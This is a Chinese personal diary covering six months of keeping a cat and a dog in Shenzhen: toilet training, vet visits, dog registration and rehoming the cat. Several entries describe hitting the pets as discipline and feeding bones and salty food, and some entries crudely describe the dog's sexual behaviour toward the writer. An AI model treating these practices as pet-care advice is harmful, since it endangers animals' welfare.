今天早上，海绵抹布惨遭毒手，被狗子粉身碎骨，而公仔猪（毛绒玩具）早已命丧黄泉。
回到家，发现本来应该在床上的猫窝却落在地上。狗子上不了床，真凶就是 Dora。上次是把纸巾推到地下，Dora 真的是越来越坏了。
带狗子去天台拉臭臭，前五分钟在玩，我以为他今天便秘了。带他下楼回家，却拽不走，这时他才想想起没拉便便。
2020-06-12
猫咪把纸巾撕得满桌子都是，越来越坏了。把她抓到「犯罪现场」，痛扁了一顿。
把狗子拴在厕所里，把早上捡来的狗屎从垃圾桶里拿出来，放在一旁，吸引他在卫生间拉屎。他不停地叫，半个钟后，我就把他放出来了，一转眼在楼道里排泄完了。
23:282020-06-13
养了猫狗之后，早上就没睡过懒觉了。
07:59胸口又被 Dora 抓伤了。
2020-06-14
周末给猫狗洗澡，忙得快递电话都没接到。
17:152020-06-15
猫抓蚊子狗吃梨。
2020-06-16
猫咪趁我上班不在家，把被子推到床下，任由狗子蹂躏。
2020-06-17
启用漏食器（放狗粮进去）。
00:13狗子又把猫屎叼出来了。
07:26狗子疫苗没打完，我依稀记得上次去宠物医院，兽医说打完了。
2020-06-18
啦啦啦，啦啦啦，我是拖狗尿的小行家。
忘记关门，狗子跑到一楼去了，幸好朋友的妈妈遇见了。
2020-06-19
数据线耷拉下来，狗子没咬断。
07:12猫咪今天不爱吃猫粮了。
2020-06-20
一进门，浓重的狗骚味扑面而来。
在外面吃个烧鸡烧鸭，都会想着把骨头带回家给狗子吃。
21:56猫咪这几天吃得很少，会不会生病了？
狗子学会憋尿了，一天下来，只在房间尿了一小泡。
22:012020-06-21
狗子一晚上没拉尿。
狗子今天洗澡很乖。
2020-06-22
早上起来，狗子没在房间拉屎拉尿，也没叼走我的拖鞋。
07:14狗子吃了骨头，拉出了白色的便便。
猫狗不吃死掉的斗鱼。
19:432020-06-23
抱着狗子看连续剧，巴适。
下班回来带狗子出去拉屎，居然没有拉。
20:232020-06-24
狗子会自己跳上我的电动摩托车了。
猫咪还是吃得少，也瘦了不少。
20:512020-06-25
狗子喜欢「吃」乒乓球、哈密瓜皮和粽子。
09:19猫咪在桌子底下，抱着我的脚，像婴儿一张睡着了。
14:032020-06-26
猫咪早上起来还是要咬我，但是狗子不会把猫砂里的狗屎叼出来了。
07:35猫咪占据我的椅子，不让我看剧和学习。
放在床底的瑜伽垫也遭殃了，没用几次。
23:392020-06-27
狗子这两天屎量暴增，可我是定时定量喂食的呀。
00:10狗子学会一个新技能：虽然上不了主人的床，但是我可以把玩具「丢」到床上去。
猫咪把煮熟的蛋黄和蛋清都吃了，以前只吃蛋黄。
08:08猫咪睡觉的时候会翻白眼 🙄。
08:57父母让我把猫给扔了，因为猫在客家话中是「无」的意思，我不反对 Ta 们，但是一直没执行父母之命。
洒在地板上拍猫。
14:49带着狗子，一起出去打篮球，结果滚得脏兮兮。回来给他洗完冷水澡，吹风机不小心打到热风档（一开始是冷风档），稍微烫伤了狗子，因此狗子第一次朝我凶。
要上场打篮球，把狗子套在电动摩托车的脚架上，狗子力不小，一拉，电动摩托车倾倒了，没压到狗子，左刹车磕坏了。
狗子一直很想像猫咪一样上我的床玩耍，但是狗子太脏了。所以每周给狗子洗完澡，特例允许他
来我的被窝玩一会。猫咪饭量变少了，瘦了很多。
22:192020-06-28
小猫咪今天的眼屎好多，是想妈妈了？
08:35Dora 一天发疯两次：睡前和睡醒。时间到了，就会向狮子一样扑过来，抱住我的手，把我当老鼠 🐭 一样撕咬，怎么打都不松口，越揍越皮。
13:57狗子不吃西瓜皮，喜欢吃猪皮。
23:552020-06-29
猫咪恢复食欲了，我的钱包却哭了，因为猫粮比狗粮贵得多。
07:32每天都要去公寓天台把狗屎捡到睡眠仓的垃圾桶里。有一天，我发现天台有个大大的空纸箱，犹豫几次后，我决定做一件恶趣味的事：把狗屎留在那个纸箱中。假以时日，集满一箱狗屎后，我就可以召唤幸运女神了（狗屎运）。
2020-06-30
带狗子出去好几次都不拉屎，回到房间，他才拉，无法无天了。
00:52狗子一晚上很乖，没有排泄在房间里。
08:452020-07
2020-07-01
狗子应该学会控制尿意了。
打破记录，一天溜了四次狗：
- 早上一次：天台
- 晚上三次：天台一次和一楼两次
第四次是因为狗子越狱了，跑到一楼去了，即使狗绳套在桌子腿上。
00:172020-07-02
狗子只有宠物健康免疫证，没有深圳市犬类免疫证。
狗子被同楼层的姑娘拉出去溜了。
20:192020-07-03
狗子又调皮了，拉个便便还要分两处地方。
07:48狗子的眼屎真多。
我和狗子一起躺在地上吹空调。
猫咪总是冷不丁扑过来咬我一口。
21:442020-07-04
狗子现在变聪明了。我带他上天台拉屎，趁我去捡狗屎的时候，就自己从 6 楼跑到 1 楼，看着他可怜楚楚的样子，于是只好带他出去溜一圈。
不过也好，可以出来买些包子当早餐。但是我可不会拿包子来打狗，太残忍了。
07:49狗子不吃烧卖。
07:59因为上个主人只给狗子打了 2 针疫苗，还有 2 针没打，但是疫苗本上写的下次注射日期是 2021 年 4 月 14 日。于是今天去原先的宠物店补了第三针（￥80/针）
从 5 月 18 日到 7 月 4 日，狗子从 5.15 kg 长到 7.3 kg，猫咪从 2.7 kg 长到 3.7 kg，我从 65.65 kg 瘦到了 64.8 kg。
22:47隔壁的小姐姐特别好心地过来提醒我要尽快去办理「狗证」（养犬证）。并且告诉我如何管教狗子：狠狠地打他鼻子👃，疼才会让他长记性。
23:37SYT 帮我遛狗：你家狗有点怕别的狗，还有点怕音响。路过别人跳舞，往音响那过不敢走，我抱走的。
我回复：之前都是他吼别的狗，前几天他被别的狗吼过后，现在就怂了。
2020-07-05
天气太热了，给狗子剃毛（￥100）：只剃身子和狗腿上半部分，头部和狗腿下半部分。
为了办理养犬证（狗证），又打了一针疫苗（￥50）。
12:05自从养了阿猫阿狗，我「爱」上做家务：
- 在家的话，每隔几个钟就要拖狗尿。
- 几乎每晚都要扫地拖地，以驱散狗骚味。
- 几乎每周日就要洗被子、枕套和竹席，一是因为猫脱毛，而是因为猫要上床，与我共枕。
话音刚落，狗子把洗好的枕套（放在水桶里）叼到床底下去了。
狗子跑出去了，死活都唤不回来。
18:44狗子又「越狱」了。
20:522020-07-06
把狗子嘴巴下面的长毛剃掉了，我也不会嫌弃他「水淋淋」的大嘴巴。
申请犬证（狗证）需要一张全身照：四足站立，侧身，回头可看见狗的双眼。但是我翻遍了手机相册，也没有符合此站姿的照片，于是我只好发了一张类似站姿的「如厕照」，居然通过审核了。
【深圳政务大厅】温馨提示：尊敬的
***，您好，您在广东政务服务网提交的养犬初始登记申请，编号为：***，已网上预审通过。10:58【深圳政务大厅】您好，您所申请的事项已完成，请自行在深圳市养犬服务小程序“个人中心”领取电子犬证。
11:21我现在后悔了，因为电子狗证的封面图居然是全身照，太不雅观了。
14:47猫狗喜欢吃炸腐竹（没放盐）。
19:14不想跟爸妈视频，又让我把猫狗送人或者扔了。
21:05每次倒猫粮，狗子都会突然出现在身旁。看着他渴望的大眼睛，只好抓一小撮猫粮给他尝尝。同屋不同命，猫粮比狗粮贵很多倍。
22:22猫粮是放在玻璃碗，碗放在一个小桌子上，以免狗子偷吃猫粮。就在刚刚，狗子把猫追到小桌子上，把碗打碎了，气死我了。
22:532020-07-07
现在到了晚上，狗不叫了，猫却开始了，难道是发情期到了？Dora 才 一岁不到。
07:29Tinkle：我不是人，但你是真的狗！居然把我的身份证照（犬证封面）拍得这么丑，不过我已经开始以牙还牙了。
- 间接把盛猫粮的碗（玻璃）打碎了。
- 醒来就能闻到我的屎香味（拉在房间）。
- 无限追杀你那瘦下的小猫咪（心疼去吧）。
哼，愚蠢的狗奴才。
狗子太能拉屎了，要减少狗粮的供应。
2020-07-08
狗子不把我当人看。见我更衣时，他便站起来抱着我的腿，下体开始律动……泰迪（贵宾）属性开始显现。我这浓密的腿毛，是不是该剃了？
点了一份 30 块钱的牛骨，我把零星的肉吃了，骨头带回给 Tinkle 吃。
20:30Dora 发情了，变得很温柔，屁股撅得很高 or2，也吃得很少。
21:202020-07-09
昨晚 Dora 一直在叫，发情期的母猫太可怕了。
07:27主人，我发情了。当我深夜娇滴滴地呼唤「意中猫」时，可以不要打我吗？
下班回来，狗子热情地扑过来，有人等你回家的感觉真好。
23:142020-07-10
一晚上没睡好，猫咪发情喵喵叫，骂也不停，打也不听，好几次想把她从三楼扔下去。
07:12狗子也反常了，今天早上不拉屎。
07:432020-07-11
早上做了木耳炒米粉（微辣）给外甥吃，但是太难吃，于是给狗子吃，没想到居然吃完了。不过宠物狗吃这么咸的人类食物，会挑食的这可是土狗的养法，我真是农村来的。
08:31发情中的母猫，寂寞难耐，辗转反侧。
23:01Tinkle 都快把 Dora 的耳朵 👂 咬得秃噜皮了。
23:162020-07-12
从凌晨两点到四点，母猫都在嗷嗷叫，不管我怎么打她。
09:08周末坐在椅子上追剧《权力的游戏》，再拿狗子踮脚，巴适。
12:22午后的阳光照在狗子的肉体上，Beautiful。
14:16狗子剃光毛了，洗完澡，一下子就吹干了。
22:542020-07-13
狗子终于会在厕所里拉臭臭了，奖励一根零食（由玉米淀粉、红薯粉和牛肉做成的狗骨头）。
2020-07-14
猫咪结束了发情期，我又成了她的猎物。
2020-07-15
狗子要越狱，猫咪守楼梯。
2020-07-16
Dora 又开始调皮了，把电动牙刷的充电线咬破了。
07:452020-07-17
猫砂盆忘记放猫砂，Dora 就会在厕所里拉屎拉尿。
07:12Tinkle 的屁股上有 3 块藓？
07:50来到宠物医院，兽医说：
- 真菌感染，可能吃太咸（吃了人类的食物），买了一瓶宝疗微溶液（￥110，一天喷 4 次），和一个伊丽莎白圈（￥25）。
- 因为受凉，有点咳嗽，应该是感冒了，要连续打 3 天针（￥240），并给在淘宝上给狗子买了一件衣服（￥11.45）
2020-07-18
猫粮选了几个钟。
00:03给 Tinkle 带上耻辱圈后，他就喜欢蹲在卫生间，非常无奈的样子。
00:152020-07-19
我光着膀子，转进不容翻身的床底下，不嫌弃狗骚味，对狗子说悄悄话。
15:52分析了一天的《隐秘的角落》，累了，躺在地上（每天都会拖地），任狗子舔我的肚子。
Dora 来我这里也有四个月了，但是一直都没有偷跑出去，纵使发情的时候。我觉得这样对她太无聊了，于是想带她出去转转。没有猫绳，就用狗绳遛猫。没想到去到一楼，还是寸步难行，四只猫爪子紧紧地「勾」在水泥板上，猫绳拽不走，只能把 Dora 提回家。
20:03狗子拉稀了。
2020-07-20
狗屎太软，纸巾一碰就穿了。
19:322020-07-21
我在朋友圈说：
不想养猫了，因为：
- 脱毛
- 猫粮贵
- 摸不得
- 爱咬人（佛祖割肉喂鹰。在猫的眼里，我就是她的猎物。）
- 发情时半夜叫
居然真的找到下家了，任务是给仓库抓老鼠。Dora 要走了，突然有些伤感。昨晚，Dora 钻进我的被窝，之前我抱她睡觉，她都不肯。
下班回来，狗子会跟我亲热，猫只会咬我和数据线（最近又开始要电动牙刷充电线）。
是不是觉得狗让你的心灵得到了慰藉，就觉得下班回来看到它摇着尾巴，一天的累都觉得不累了。by 咕噜咕噜
Tinkle 的咳嗽不见好，反而加重了。也养成了一个坏习惯，拉便便要找两个地方，不是一次性搞定。
20:57骨头泡水，去除调味料，才敢给狗子吃。
21:072020-07-22
骨头还留在便便里。
07:37Dora 把我的圆珠笔推到地下，然后 Tinkle 就能把它咬碎。这可是我唯一的一支笔。
20:252020-07-23
每次上班出门前，都会跟家里的两只宠物说再见。
只要家里有好吃的，狗子在天台拉完便便，就会自己跑回房间。
22:092020-07-24
早上贪睡了十几分钟，狗子就把便便拉在房间里。
07:282020-07-25
在我坚持不懈的训导下，狗子憋不住的时候，终于学会在厕所里拉 了。我二话不说，把他抱到「案发现场」，奖励一块狗「骨头」，以资鼓励，再接再厉。
01:15早上六点多，猫狗就在嬉戏打闹，然后我就被吵醒了。
07:09狗子又在厕所里拉臭臭，实在太棒了。
15:05最后一晚，舍不得 Dora 送人。
23:522020-07-26
我在朋友圈吐槽说不想养猫了，免费送人，没想到真找到新的主人了。刚买的 2 个月猫粮，还没开始吃呢。
把 Dora 的行李打包好了：
- 狗子爱吃猫粮，于是留了一半。
- 指甲剪也就给狗子了。
离别之夜，猫狗干了一架，在大半夜里。
02:21狗子今晚开始穿衣服睡觉，因为还是会咳嗦。
02:32Dora 见到地上的尿和便便，不管是不是自己拉的，都想把它埋了。
07:35装进猫书包，送给新主人。与我相处的时间是 2020-03-08 14:20 至 2020-07-26 08:20，总计 140 天。
Dora 的新任务是给奶茶店（大概 70 ㎡）看店抓老鼠。
11:22送走了猫，留下一席孤枕。
这么晚回到家，狗子居然没在房间拉屎拉尿奖励猫粮 20 g。
23:302020-07-27
有过几次半夜发情的经历，怎么安抚和大骂都不管用，而且昨晚深夜猫狗大战。过于扰民，只好割爱。
看到笔记本电脑和风扇上满是猫毛，怀念又讨厌。
22:032020-07-28
Tinkle 便秘了。
20:332020-07-29
毛绒玩具惨遭开膛手 Tinkle 屠杀。
2020-07-30
狗子趁我不在家，把我被子拖到地板上「蹂躏」。
19:002020-07-31
早上出去公园遛狗，Tinkle 居然用侧脸去蹭地上的狗屎，于是不得不给他洗澡。但是热水器不常开，只好洗冷水澡。要是感冒了，还要去打针（￥240）。
理发（￥150），皮肤病喷剂（￥100），去一趟宠物医院，没花个几百块，就别想出来。
08:072020-08
2020-08-01
回到家，狗粮没吃完，也不拉屎，家里倒是挺乱的。
22:372020-08-02
Tinkle 把鞋从鞋柜里叼到床底下，拼命地咬，怎么打，都不改。
狗绳快被 Tinkle 咬断了。
11:10Tinkle 和我一样，也有白发了，难道这就是「物以类聚，人以群分」?
17:092020-08-03
狗子眼屎剧增，难道是因为吃了骨头？
2020-08-04
膝下无子，猫狗双全。
狗子还在咳嗦。
07:482020-08-05
看到路边的猫，回想起送走的 Dora。
2020-08-06
Tinkle 还是会咳嗽，还是会逃跑出去玩，不听使唤。
22:08狗子放屁，一看，在房间拉稀。抱到厕所，教育他在厕所解决。
23:152020-08-07
邻居小姐姐又过来帮我遛狗了，途中还给狗子买了牛奶。
22:192020-08-08
狗子洗澡越来越不反抗了。
Tinkle 把我的鞋带咬坏了。
周末不在家，成功委托邻居女孩帮我遛狗。
2020-08-09
来龙华的奶茶店找 Dora，她出去玩了，寻了一圈，未见踪影。
15:30正当我放弃时，在门前的车底下看到一只猫，肚子消瘦。我过去，但她没有扑到我怀里。抱她，不反抗，相处几分钟，还会用身子蹭我。
我给 Dora 倒了一杯清水，她非常渴，猛喝起来。为了防止店员忘记蓄水，于是在网上买了自动饮水器（￥15.9）。
猫舍很脏，猫砂盆里都是猫屎。我清洁好后，嘱咐店员不要放满一整盆猫砂，不然底部会因为猫尿而结块。
还有另外一只跟她差不多的猫，在隔壁车底。两只猫相处得不融洽。
随访结束后，希望店员可以好好待 Dora。
17:33Tinkle 连垃圾桶都咬。
23:562020-08-10
狗子把新买的「胸背带」咬断了！
早上出去遛狗，Tinkle 拉了臭臭，和其他狗子玩累后，就自己跑回家了，真棒。
08:072020-08-11
狗子不咳嗽了，也不会在房间拉屎拉尿了。
07:25挑了一下子的狗粮，还没选定。
18:512020-08-12
狗子最近不爱吃狗粮了。
2020-08-13
狗子又逃跑，叫不回来，打也打不怕。
狗子发情了，抱着我的粗毛腿，交配起来。我没有阻止他，怪我没有时间带他出去社交。
2020-08-14
下班回来，地上有四五滩狗尿。这几天狗子都没有在房间拉排泄物。还有新买的 狗粮也没吃，今天怎么了？
和往常一样，带 Tinkle 出去拉便便，然后用一次性袋子捡起来，丢进垃圾桶，不过今天是便利店门前的垃圾桶。没走几步，中年老板娘就跑过来，让我把狗屎从垃圾桶里拿走。我理亏，只好照做。这时，一旁帮我修电动摩托车的师傅说道：这家店的老板很奇葩的。今天疫情严重期间（2 月份），有一个人偷拿了便利店m两瓶水，然后便利店一家人穷追不舍，把小偷抓回来按在地上，私下调解失败，便利店居然报警了。可是，当前的警力都派去防控疫情。当巡逻民警到达现场后，也感到特别无奈，国难当头，浪费警力在这件小事上，特别生气，给店家 10 块钱，息事宁人。
2020-08-15
养狗之后，从此没有懒觉睡。昨晚 3 点睡，狗子照常 7 点吵着要出去。
狗子抱着大腿就是干，这次动了真格的，我也看到公狗的生殖器。找不到交配的母狗，于是去网上搜索发泄工具，还真有。
22:282020-08-16
Dora 住在外面。下雨天会不会淋雨？
Tinkle 发情了，见到小母狗，下体就不受控制。不让他「玩」小母狗，就把兽欲发泄下小母狗女主人的大腿上，脑壳疼？
23:552020-08-17
狗子现在懂事了，不会把鞋子叼到床底下去了。
01:15换了狗粮，狗子拉稀了，屁股上沾的便便都结块了。
07:37狗子知道我要去上班，跟他拜拜后，也不会闹，静静看着我关上门，离开。
07:55Dora 出去鬼混几天，今天才回来，好像还怀孕了。
21:202020-08-18
有泰迪血统的狗子，性欲真的很强。搞我的腿就好了，带他出去放风，连陌生女士的腿也不放过。刚刚拉开，一不注意，又贴上去了。真是尴尬。
狗子又对我的腿来了可以一发。
2020-08-19
狗子今天越狱好多好多次，打也打不听。
00:27狗子还会拉稀，是因为着凉，还是新的狗粮导致的。
2020-08-20
狗子又发情了，我很自觉地把腿伸出去，任他蹂躏。
00:412020-08-21
我对狗子越来越腻乎了，喜欢紧紧地抱着 Tinkle。
23:312020-08-22
Tinkle 连同性都不放过：虽然我是一条公狗，对方也是一条公狗，但不妨碍我们之间的「交流」。
07:58狗子长到 8.1 kg 了，在拉我便便，早上未吃狗粮的状态下。
我的体重同步长到了 68.35 kg，再不控制住，怎么配得上美好的肉体。
10:09丢东西的快感，尝过一次就会上瘾。此中醍醐味，你我都知晓。
19:01狗子又开始在房间拉尿了。
2020-08-23
我吃西瓜瓤，狗吃西瓜皮。
12:362020-08-24
狗子还在拉稀。
2020-08-25
狗子又在房间里拉尿。
2020-08-26
以后遛狗要拴绳了，不然就会被执法人员给抓走。
狗子又在蹭了一脸屎，不得不早上给他洗澡，幸好我上班不用打卡。
08:31公寓楼出现了狗屎，房东发照片给我。可能是 Tinkle 拉的，也可能是同楼层的。但我还是勇敢地承认错误了。
2020-08-27
狗子交配时，力气真大，怼得我腿疼。
2020-08-28
狗子呀狗子，你能不能去厕所拉尿呀。
2020-08-29
Tinkle 喜欢吃白米饭。
21:042020-08-30
四条狗腿，花了我一个钟。下次剃脚底毛，试试火烤，腿熟了，就不会乱踹了。
18:192020-08-31
Dora 一周没有回奶茶店了。
每晚狗子都要抱着我的毛腿，一阵乱捅过后，空留一地的白色透明液体，散发着没有母狗的悲伤。
狗蛋这么可爱，不想这么早阉掉。
2020-09
2020-09-01
如何科学养狗？我要开始学习。
2020-09-02
狗子现在基本上每晚都要我给他足疗。
2020-09-03
Tinkle 会自己回家了，我还以为他乱跑呢。
07:442020-09-04
我骑着摩托车，狗子在后面追着我。就是有点危险，狗子在路上不看车，差点被撞到。
07:522020-09-05
Tinkle 不用拴绳，也会跟着我了，真舒适。
07:522020-09-06
Tinkle 虽然还是会自己跑出去，但是唤得回来了（有时也叫不回来）。
00:02狗子趁我不注意，又用脸去蹭地上的脏东西。
2020-09-07
农村的狗很凶，所以小时候我也很怕狗，每次回外婆家，都要绕远路。
09:552020-09-08
狗子看我洗完澡，就会舔我的腿，然后紧紧地抱着，做一些羞羞的事情。
2020-09-09
狗子又把脸蹭脏了，打也打不听。
2020-09-10
近期出门上班，狗子会扒门和叫唤了，想要和我一起出去。
2020-09-11
狗子长大了，越来越重了。
2020-09-12
狗子好臭，一周没洗。
2020-09-13
带狗子去宠物医院免费植入芯片，一周后才能洗澡，所以狗子现在很臭。
几个月没驱虫，买了 3 片超可信体内外同驱咀嚼片（￥404）。兽医还说 Tinkle 有牙结石，平时要给狗子刷牙。
如果狗子没有交配计划，兽医建议我尽早给狗子绝育。
2020-09-14
现在除了每天遛狗（捡狗屎）两次（07:20 和 19:20），还要给狗子刷牙。
22:562020-09-15
狗子会跟着我回家，不用拴绳，但是最近他三过家门而不入，要费好大功夫才能把他抓捕回家。
08:24把宠物寄养在宠物医院，一天要 60 元。出差就是麻烦，看看能不能找个好心人照料几天。
刚刚看到一辆写着社区整治的皮卡，后面放着几个大大的抄网，这应该就是捕狗队——捉拿流浪狗以及没有拴绳的狗。幸好我把 Tinkle 拴在摩托车上才去打篮球，不然就要花 ￥500 去赎后了（赎金是听说的）。
19:45一天没喂狗，然后用狗粮当做完成任务的奖励，例如把扔出去的毛绒玩具捡回来。
23:432020-09-16
狗子还在拉稀，可能是吃了受潮的狗粮。
2020-09-17
买了玩具，但是狗很快会玩腻了，然后你就无法通过一个玩具跟狗互动。上周，我去外甥家收缴了一个毛绒公仔（小泰迪），只有在晚上才丢出来给他玩，这样就可以让狗子保持对玩具的新鲜感。
我的毛腿作为狗子的泄欲工具，他没得选，因为这是他在睡眠仓唯一能骑上去的肉体。之前还小的时候（6 kg 左右），他还可以骑在足球 ⚽，现在长到 8 kg，足球就显得太小了。
医生让我给狗子做绝育手术，但是我觉得很残忍，他还没有享受过动物本能带来的真正快感。
2020-09-18
下周去无锡出海几天，把狗子寄养在王阿姨家里，因为 Tinkle 和她家的小黑玩得最好。
忘记狗子喂食，饿得他呕黄水。
22:182020-09-19
狗子半夜拉肚子。
01:20附近的有个公园不能带狗进去。
2020-09-20
狗子终于把受潮的猫粮吃完了。
08:11狗子脱缰，怎么叫也不回来，因为他知道过来就要挨打。下次出门要带零食了（还没买）。
2020-09-21
换了狗粮后，Tinkle 没有拉稀了。
2020-09-22
去无锡出差几天，委托一位阿姨帮我遛几天狗，于是买了一些水果作为看管费。
2020-09-23
狗子第一次离家生活，希望不会玩坏别人家的鞋子。
2020-09-24
与狗子分离的第三个夜晚。
2020-09-25
明天就能看到狗子了。
2020-09-26
回去太晚，明早再去接狗子回家。
2020-09-27
去接 Tinkle 了。
07:26Tinkle 感觉跟我疏远了。
2020-09-28
跟狗子玩「扔东西再捡回来」的游戏越来越有默契了。可以不用奖励，也能叼回来。
2020-09-29
狗子乖乖。
2020-09-30
蚊帐一放下，狗子就跑过来压住，防止蚊子从底部进入。
02:41把狗子放在大姐家，这次分离 Tinkle 非常不舍，在我等电梯的时候，一直听到 Tinkle 在呼唤我。
20:01狗子会抓蟑螂了。
2020-10
2020-10-01
王阿姨她本来养了 2 只猫，一条狗。国庆又帮人照看第三只猫，我就不好意思又麻烦她。所以这次给我大姐照看。但是她们好像不喜欢狗，在家族群批斗我。今晚大姐夫还给狗子吃周黑鸭的产品，说了很多次，狗子不能咸辣之物。
Tinkle 知道我工作日上班，我关门的时候，Tinkle 不会叫，不会挠门。
2020-10-02
狗子坚持住。
2020-10-03
狗子睡在别人家阳台，然后阳台上的花圃不幸被刨了。
2020-10-04
狗子今天没有收到投诉。
2020-10-05
狗子再坚持一天，我就回来了。
2020-10-06
Tinkle 见了我，非常激动。
家里带下来的鸡蛋破了几个，刚好给 Tinkle 做夜宵。
22:192020-10-07
狗子又吐白沫了。
2020-10-08
一回到家，狗子吐了 3 滩黄水在地上，可能是狗粮供应不够。
19:122020-10-09
狗子昨晚在厕所拉尿（黄水）？
要把狗粮的牌子换了，狗子总会拉稀。
2020-10-10
Tinkle 的便便 💩 是硬的，是今日微小的幸福。
07:37我在电脑上写作和娱乐，狗子安详地睡在我的脚下，Sweet。
09:18狗子又拿脸去蹭屎了。
2020-10-11
在京东花了 ￥29 块买了一个发声弹球（Squeaker Ball 采用天然橡胶制作，并且不会沉水），让本不富裕的家庭雪上加霜。
当我兴冲冲来到公园，准备和狗子大战三百回合的 Fetch，没想到第一次 Chuck it，狗子就毫不领情，空留一个直径 5.1 cm 的小球，在地上吱吱作响。
2020-10-12
狗子狗子，养你不容易。
2020-10-13
狗子真的学会在厕所拉尿了。
狗子把我的内裤咬破了。
2020-10-14
Tinkle 看见地上爬的小蟑螂，居然用脸蹭，而不是我爪子按下。
2020-10-15
狗子牙养了，在啃床头柜的「脚」。
2020-10-16
感觉养了一个「生物」钟，每天 06:45 左右都会被狗子吵醒了，不管是不是假期。
2020-10-17
每天晚上，狗子期待我恨他玩 Fetch Game（扔出去捡回来游戏）。
2020-10-18
Tinkle 拉完稀，会拿屁股在地上蹭干净。
08:24一周没拖地，一地的狗精液，满屋狗骚味。
2020-10-19
狗子咬我的脚 🦶，打扰我学习。
2020-10-20
Tinkle 又饿得吐黄疸水 🤮 了。
以后 22:00 去遛狗好了，因为 19:30 没人出来遛狗。
2020-10-21
07:30 没带 Tinkle 出去，天台解决就去上班了，虽然关门后 Tinkle 在挠门 🚪。
22:00 带 Tinkle 出去，遇到好多没见过的狗子和漂亮姑娘，玩得不亦乐乎。
2020-10-22
狗子还在拉稀，这次要换个狗粮。
2020-10-23
狗粮只剩最后一餐了，赶紧去京东买了 700 g 狗粮（￥24）救救急，接着向刚认识的狗友小宋买了 10 kg 的狗粮（￥360）。不过换个犬粮牌子，但愿狗子不会拉稀。
2020-10-24
Tinkle 又去偷吃粪便了。
2020-10-25
Tinkle 把吃的狗粮和包子皮吐出来了。
09:47给Tinkle 修剪眉毛，防止遮住眼睛 👀。
给 Tinkle 洗澡 🛀，他还给我凶上了。
2020-10-26
今天早上 Tinkle 没有吵我起床。
08:09狗粮不是大米，不能囤。受潮后，很容易变质。
买了 ￥38 水果（柚子、火龙果、葡萄 🍇）委托王阿姨帮我遛几天狗。正要把 Tinkle 交接给王阿姨时，Tinkle 又用脸去蹭地上的粪便，于是只好带回家重新干净，再送过来给王阿姨。
22:512020-10-27
寄养中。
2020-10-28
寄养中。
2020-10-29
寄养中。
2020-10-30
本来预计今晚回深圳，可以上级给我订了明晚的飞机票，只能后天早上去接 Tinkle 了。
手机的提醒设置成 31 号了，让王阿姨的交接扑空了。
2020-10-31
寄养中。
2020-11
2020-11-01
把 Tinkle 接回来了，他在王阿姨家干了不少坏事：
- 乱撒尿
- 乱咬东西
- 护食（抢吃的）
养狗 171 天，今天给狗子洗澡时，才学会如何挤 肛门腺。
2020-11-02
Tinkle 不爱吃新买的狗粮，纵使饿到呕吐。
00:49Tinkle 还是不吃狗粮。下次换粮要有一个过渡期，不可操之过急。
2020-11-03
Tinkle 终于吃完了一小碗狗粮。
00:472020-11-04
Tinkle 喜欢吃番薯。
Tinkle 一天没吃饭，去拉了两次便便 💩。
2020-11-05
Tinkle 居然在房间尿尿了。
07:53Tinkle 连拉三次便便 💩。
2020-11-06
Tinkle 的毛太长了，但是又不想花钱去大理。
2020-11-07
Tinkle 越来越不听使唤了。
2020-11-08
下午给狗洗澡，打完球后给狗头理发，剃脚底毛，这个家伙现在还是非常不配合。
收拾完一地的狗毛，才发现忘记剃生殖器周边的毛了。
2020-11-09
Tinkle 不惧凶猛的比利时玛连莱犬（俗称马犬），当面对吠。
2020-11-10
洗完澡，狗子会把我的双脚 🦶 舔干。
2020-11-11
这条色狗，看见母狗就丢了魂。
2020-11-12
Tinkle 越来越不听话了，出去遛，叫不回来。
2020-11-13
给狗子吃杀虫药（体内外同驱）。
过了一天也没吃，阿福拉纳米尔贝肟（wò）咀嚼片还没有吃，只好把驱虫药碾碎混进狗粮里。
20:252020-11-14
怎么教都不会听话宠物，送回大山好了。
00:052020-11-15
晚上十点钟，给 Tinkle 洗澡，并把生殖器和屁眼周围的毛剃了。
2020-11-16
狗子蹲在脚下，呆呆的看着我，这时我就会脱下裤子，露出雪白的大腿，随他蹂躏。
19:47王阿姨同意帮我照顾 Tinkle 几天了。
2020-11-17
今天早上很反常，去天台放风，却不拉臭臭。
为什么狗狗在选择拉屎的地方之前，都要先转几圈？
19:392020-11-18
吃完饭，还想着把骨头 🦴 带回给 Tinkle，改善一下伙食。
2020-11-19
把狗子交给了王阿姨，作为答谢我给王阿姨带了：
- 柿子干（老爸老妈在老家晒的）
- 大橙子（三姐寄给我的）
- 新鲜冬枣（楼下水果店买的）
前几次买的水果是柚子和葡萄，王阿姨说不喜欢吃，浪费钱，可以换成冬枣。人情往来，我真的很不在行。
2020-11-20
寄养中。
2020-11-21
王阿姨帮 Tinkle 剃了头。
2020-11-22
Tinkle 跟王阿姨躲猫猫。
2020-11-23
Tinkle 是不是生病了，无精打采的。
Tinkle 居然早上没有叫我起床，太反常了。
2020-11-24
Tinkle 这条色狗，见到母狗就会变成「打桩机」。
2020-11-25
忙碌了一天，下班回来，狗子把狗粮打翻了，满地狼藉。
狗子头顶出血了，现在结痂了，应该是昨晚玩太疯了。
老妈把骨头 🦴 留下来，给我的狗 🐶 吃。
2020-11-26
Tinkle 居然喝狗尿。
2020-11-27
狗子头顶被撞的部位，没有好转。
2020-11-28
Tinkle 现在黏人了，不用栓绳，也会跟着我回家。开始趴在我的膝下，狗头偎依在我的脚丫子上，还会舔我的脚趾头。
Tinkle 早上不拉屎，现在吵着让我带他出来拉。
14:57给狗子带上「耻辱圈」，不然他总是用前爪去挠头顶上的伤口。
Tinkle 绝食一天了，出去外面，就捡吃的。我只好找一块砖头，挡住一楼的大门，祈祷他自己会跑回家
2020-11-29
Tinkle 每次看到我换裤子，就开心到打转，因为他知道我要带他出去放风了。
2020-11-30
狗子的伤口慢慢愈合中。
2020-12
2020-12-01
一周不洗狗，满屋臭烘烘。
2020-12-02
狗子一晚上都在挠痒痒，搅得我没睡好。
2020-12-03
狗子的伤口好了，周末可以洗澡了。
2020-12-04
狗子最近胃口不错，狗粮一倒，就吃完了。
2020-12-05
狗子是我的暖脚 🦶 宝。
2020-12-06
狗子卖给宠物店如何？
2020-12-07
狗子又把自己饿吐 🤮 了。
2020-12-08
我早晨去上班，关上门，狗子就会叫，以及挠门 🚪，吵到邻居了。不懂事的狗子，我也知道送回老家或者送给其他人养。
22:582020-12-09
别人遛狗都是几个钟，我只有半个钟。
2020-12-10
穿了三年的优衣库摇粒绒外套的拉链被狗子咬坏了。什么东西都要放好，如果狗子够得着，那就要完蛋了。
2020-12-11
把狗子带回家？还是留在城市，送给某个人呢？
2020-12-12
